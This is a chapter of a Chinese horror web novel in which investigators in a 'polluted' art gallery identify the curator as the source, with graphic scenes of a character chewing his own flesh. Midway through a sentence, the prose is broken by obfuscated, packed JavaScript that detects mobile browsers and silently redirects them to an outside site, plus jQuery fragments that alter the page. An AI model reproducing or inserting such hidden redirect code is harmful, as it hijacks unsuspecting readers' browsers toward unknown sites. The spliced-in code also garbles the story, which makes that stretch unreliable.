21. 古纳格画廊(十)

作品:《避风港[无限流]

    不知何时起,剩下的七位画家突然统一的停下了手中的画笔。


    他们微微侧着头,脸庞藏在油腻打结、脏成一缕缕的头发后面,用那双没有眼皮的眼球,偷窥着白砾几人。


    他们眼中是不加掩饰的恶毒与期待,像是在看砧板上的猎物。


    白砾闭上眼,酸涩的眼球在眼睑下急促转动她感觉自己的脑浆仿佛在沸腾,浑身像发烧了一样滚烫,露在袖口外的手腕、脖颈都泛着不正常的绯色,血管在皮肤下隐隐凸起。


    她狠狠咬住早已起皮的嘴唇,舌尖淡淡的血腥味,努力地保持理智的思考。


    指尖用力抵着太阳穴,她开始在大脑中回溯,踏入古纳格画廊后的每一个瞬间。


    脑海中的记忆像是被按了快进倒放键,画面飞速倒退。


    每一处场景都清晰的在她眼中放大,画廊工作室、储物室、地下展厅……一定有哪里漏了线索,一定有。


    “小黑!压住他!”吉迪恩的低吼响起,白砾睁开有些失焦的双眼。


    只见黑皮青年被吉迪恩和小黑两人合力勉强将他压在地上,用力到他们的手指几乎要抠进身下青年的肌肉里。


    可黑皮青年像疯了般剧烈挣扎,脸肿得像充了气的皮球,白砾看到他手腕上的污染度:53%。


    阿诺德经理优雅地走过来,步伐慢而稳。


    不复之前的狂躁,仿佛他已经胜券在握,而白砾等人不过是困兽之争。


    阿诺德经理的脖子突然像脱了骨的蛇,猛地向前伸长,直往两人脖颈缠去。


    吉迪恩下意识拽着小黑往旁躲,他的后腰重重撞在画架上,巨大的画幅晃了晃,砸在了地上。


    他们躲开了经理的攻击,剩下的最后点力气都爆发了出来,胸口剧烈起伏,每一次呼吸都带着撕裂般的疼。


    “撑住,保持清醒!”吉迪恩的声音嘶哑,“我一定会找到污染源,再给我点时间。”


    黑皮青年趴在地上,半边脸贴着凉凉的地板,却压不住浑身的燥热。他死死咬住自己的小臂,牙印深得渗出血,试图用疼痛拽住最后一丝理智。


    然而可腕上的污染手环的数字虽跳得慢,却没停下——54%、55%。


    不只是他,画室里每个人的污染度都在缓慢爬升。白砾难受的恨不得拿警棍把自己电晕,至少能暂时躲开这钻心的燥热和恐慌。


    可在污染度上升时失去意识,和把后背主动送给那些虎视眈眈的畸变物没两样。


    小黑的眼白充血,他猛地举起双手,指尖还在不受控制地颤抖。


    下一秒。他低头狠狠啃食自己的粗壮的双手!


    他的牙齿像是突然异化的啮齿,疯狂啃噬着皮肉,齿缝里嵌满鲜血淋漓的组织,涎水混着血珠顺着指缝往下滴。


    不过片刻,手背的肉就被啃得坑坑洼洼,森白的指骨从血肉模糊的伤口里露出来。


    鲜血溅在地上散落的画布上,晕开一朵朵暗红的花。


    这血腥的画面像是触发了他体内被污染的狂热,小黑突然变得更加疯狂。


    他歪着头撕咬自己的小臂,用牙齿扯下一块块细碎的肉,鲜红的肉块混着血沫喷溅而出,落在画布上。


    一些溅落在不远处的吉迪恩身上,吉迪恩双目怒睁,喉结剧烈滚动。


    不知过了多久,画作完成了,小黑终于停下动作,他趴下痴迷地看着自己的作品。


    阿诺德经理慢悠悠地走过来,他低头扫了眼画布,嘴角撇出一抹毫不掩饰的轻蔑:“也就这点天分了。连痛苦都表达得这么廉价,你根本创作不出什么像样的东西。”


    白砾下意识瞥了眼污染度手环,48%。她晃了晃脑袋,视线里的阿诺德开始轻微重影,耳边也嗡嗡作响。


    或许她早就疯了,只是她还没发现,她想。


    白砾无力地靠在冰凉的墙上闭目,她还在回溯进来的每一幕。


    毫无征兆地,一个诡异的念头升起。


    脑子吃起来会是什么味道?是清爽的冰激凌似的口感?还是丝滑浓稠的鹅肝般的质地?


    好想把自己的脑子掏出来吃掉啊。


    阿诺德经理看向白砾等人,“收画的时间到了。按照规矩,你们都得在今天交出作品。”


    “收画”二字在白砾耳中,如雷贯耳,让她瞬间打了个激灵。


    她突然想起烬纸上残留的信息!


    “画”字上面打着重重的叉号,她此刻瞬间洞悉了清理员的意图,他牺牲前留下的信息是……


    不要交画!


    “不要交画!”白砾嘶哑的声音喊道,吉迪恩闻言迅速放下黑皮青年的画。


    “交画是圈套!一旦上交了画作,就只能任凭经理处置!”


    白砾混沌的思绪骤然收束,记忆紧跟着飞速倒放。


    她想起昨晚和吉迪恩聊地下展厅时,他沉声道的那些话。


    【就地下展厅的前两幅作品,放到现在也能在任何画展镇场,可惜没有探完后面的作品。展厅里的画包括连储物室的在内,风格悬殊得太大,难以想象经理是怎么运营的。】


    她脑海中画面,又猛地切到前天晚上的客房301,吉迪恩说,“我认为阿诺德经理还保留着生前对于创作的基本尊重,昨天我们在画室的时候,他从头到尾没打断过我们的创作。”


    当时的她蹙着眉,“到底是管理不善让古纳格画廊衰落,还是画廊衰落逼得画家们探索新风格?这因果没理清,根本没法判断画廊变成污染域的真正诱因。”


    这些记忆的画面被整理成线索。


    第一,地下展厅与储物室的画,风格杂乱。


    第二,阿诺德经理不会干涉画家创作,他极度尊重“有才华”的画家。


    第三,阿诺德经理不熟悉地下展厅的变化,他对自己的业务不甚熟练。


    第四,地下展厅的自画像是谁的?它拥有着极为可怕的污染能力。


    白砾浑身发烫,皮肤下的血管突突直跳。可她的眼睛却亮得惊人,答案呼之欲出。


    她一步步靠近五位画家,仔细审视着那些浑浊的瞳孔。


    她的声音不大,目光在五位画家之前来回扫视,对着他们说道:“你才是古纳格画廊的真正的主理人,也是决定画廊风格的话事人,你应该也是当年画廊最具代表性的画家。而阿诺德经理听从于你,对你唯命是从。


    “古纳格画廊能成为镜海市的知名的画廊,全靠你这个年纪轻轻,就锋芒毕露的绘画天才。地下展厅里摆放的是你的作品吧,你靠着这些称作‘大师之作’的作品,硬生生把古纳格画廊推成了镜海市最顶尖的艺术地标。”


    她直勾勾盯着那七位画家,带着点试探的锐利:“可后来呢?是什么让你一步步陷进疯狂?”


    她微微前倾身体,像在拆穿一个藏了许久的秘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497545|185418||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    密,眼中闪过嘲弄与讽刺。


    “让我猜猜,某一天你突然发现脑子里的灵感已经枯竭了?还是那个曾经的天才画家,突然就跌落泥潭,变成了只会模仿跟风的普通画家?”


    吉迪恩立刻意会了白砾的试探,补充道:“或许,是你一门心思沉溺于技法炫技,反而容易被圈内视作技法娴熟的美术工匠,而非真正叩击人心的艺术家。”


    他的话刚说完,那七位画家的身体齐齐僵了一下,仿佛白砾二人的话扎进了他们共同的软肋里。


    白砾步步紧逼地拱火:“为了找灵感,你什么极端法子都试了,用各种极端的方式来刺激自己的感官,激发自己的灵感!结果是什么呢?把当年一手撑起的顶尖画廊,硬生生拖成了如今这副烂摊子,把你自己和这群画家折腾得人不人鬼不鬼。”


    最后一句话的话音刚落,其中的六位画家突然剧烈抽搐起来,眼球里血丝暴涨,喉咙里发出痛苦的嘶吼,手疯狂抓挠着画布,把那些画布划得支离破碎。


    而白砾和吉迪恩的目光,牢牢锁在那个纹丝不动的画家身上。


    阿诺德经理的愤怒说道:“你们两个无知的蠢货懂什么!”


    他的脖子像蛇般蜿蜒到白砾的面前,“馆长是天才,他是才华横溢的艺术家!你们这些凡夫俗子,根本没资格窥探他。”


    阿诺德经理张大着嘴,嘶吼着扑过来,却在离她鼻尖三寸的地方猛地顿住。


    因为那个最平静的画家,终于微微抬了抬眼皮。


    阿诺德瞬间收敛了暴怒,只是依旧恶狠狠地瞪着白砾,像只护主的疯狗。


    吉迪恩早已端起电磁枪,指节扣在扳机上,“你就是这一切的源头。”


    馆长仿佛没看见那黑洞洞的枪口,嘴角勾起一抹极淡的弧度,语气平淡得像在谈论天气:“古纳格画廊即是我,我即是画廊。”


    吉迪恩与白砾的心瞬间沉到谷底,随着他的话语落下。


    白砾感觉工作室里突然喷出呼吸的热气,像有庞然大物在耳边喘息。


    脚下的大理石竟变得温热柔软,踩上去带着细微的弹性。


    四周的墙面像被吹胀的皮囊般慢慢鼓凸,又缓缓回落,像是正在呼吸的胸腔。


    他们竟在……污染源的身体里。


    大理石地板赫然在白砾脚下裂开一道口子,像是一张大嘴要吞噬她。


    白砾乎是凭着身体的本能踉跄着往后弹开,“大嘴”缓缓闭合。


    下一秒,再次在白砾脚下张开!


    “小心!”


    吉迪恩一把捞过快掉下去的小黑,将狼牙警棍狠狠插进洞口边缘,电弧瞬间在警棍表面炸开,却没传来丝毫电流传导的声音。


    白砾一路躲开黑洞的吞噬,几乎是扑到了工作室的门前。握住黄铜门把手狠狠发力,门把手纹丝不动,门……像是焊死在墙里。


    白砾黑眸里迸出亮得惊人的光,小脸上神采飞扬,她低声喃喃道:“原来如此。”


    她心头盘旋许久的猜想,被印证了。


    她反而迅速得冷静了下来,指尖飞快轻触通讯器,对吉迪恩说道:“攻击馆长。”


    吉迪恩几乎与她同步动作,棍身扫过空气带起锐响,直扑不远处的馆长。


    馆长下意识抬臂格挡。


    “嘭”的一声闷响,警棍重重砸在他手臂上,馆长掌心被震得发麻,身体踉跄着后退半步。